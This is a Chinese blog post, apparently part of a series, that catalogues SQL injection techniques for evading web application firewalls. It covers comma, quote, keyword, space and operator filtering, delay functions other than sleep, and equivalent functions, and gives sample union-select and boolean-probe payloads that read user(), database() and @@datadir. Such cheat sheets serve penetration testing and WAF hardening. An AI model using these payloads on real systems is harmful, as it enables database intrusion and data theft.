你不知道的那些sql注入汇总-中(绕WAF)

本篇文章主要介绍sql注入绕waf的方式。

  • 目录

    • 过滤逗号
    • 过滤单引号
    • 过滤关键字
    • 过滤空格
    • 过滤等号
    • 过滤大于小于号
    • sleep函数被禁用
    • if被过滤
    • and or被过滤
    • 绕过注释符
    • 等价函数绕过

01

过滤逗号

1、联合查询显注绕过逗号

使用join绕过

select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),’ ‘,database(),’ ',@@datadir))C);

2、盲注中逗号绕过

MID 和substr 函数用于从文本字段中提取字符

a. 逗号绕过SUBTTRING 函数

从字符串str的起始位置pos 返回一个子串

select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114)

b. from for的方法解决

substr(str from pos for len) //在str中从第pos位截取len长的字符

mid(str from pos for len)//在str中从第pos位截取len长的字符

c. limit可以用offset的方法绕过

limit 1 offset 1

02

过滤单引号

宽字节注入

03

过滤关键字

(1)最常用的绕过方法就是用**//,<>,分割关键字

sel<>ect

sel/**/ect

(2)根据过滤程度,有时候还可以用双写绕过

selselectect

(3)大小写。

既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。

(4)有时候还可以使用编码绕过

url编码绕过

16进制编码绕过

ASCII编码绕过

04

过滤空格

(1)双空格

(2)/**/

(3)用括号绕过

(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a

(5)+

05

过滤等号

如果等号被过滤了我们可以用 like 代替

使用like 、rlike 、regexp 或者 使用< 或者 >

06

过滤大于小于号

(1)greatest(n1,n2,n3,...)		//返回其中的最大值
(2)strcmp(str1,str2)		//当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between   and		//选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

07

sleep函数被禁用

BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变
长,从而达到延时注入的效果。

08

if被过滤

可以使用内联注释来绕过函数的检测

/!if/

09

and or 被过滤

1.大小写变形
2.编码
3.添加注释
4.双写法
5.利用符号形式

10

绕过注释符

如果采用('')闭合的话
1' and '1'='1  正常
1' and '1'='2  错误
1') and ('1')=('1 正常
1') and ('1')=('2 错误

如果采用'闭合的话
1' and '1'='1  正常
1' and '1'='2  错误
1') and ('1')=('1 错误
1') and ('1')=('2 错误

11

等价函数绕过

hex()、bin() ==> ascii() 
sleep() ==>benchmark() 
concat_ws()==>group_concat() 
mid()、substr() ==> substring() 
@@user ==> user() 
@@datadir ==> datadir()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值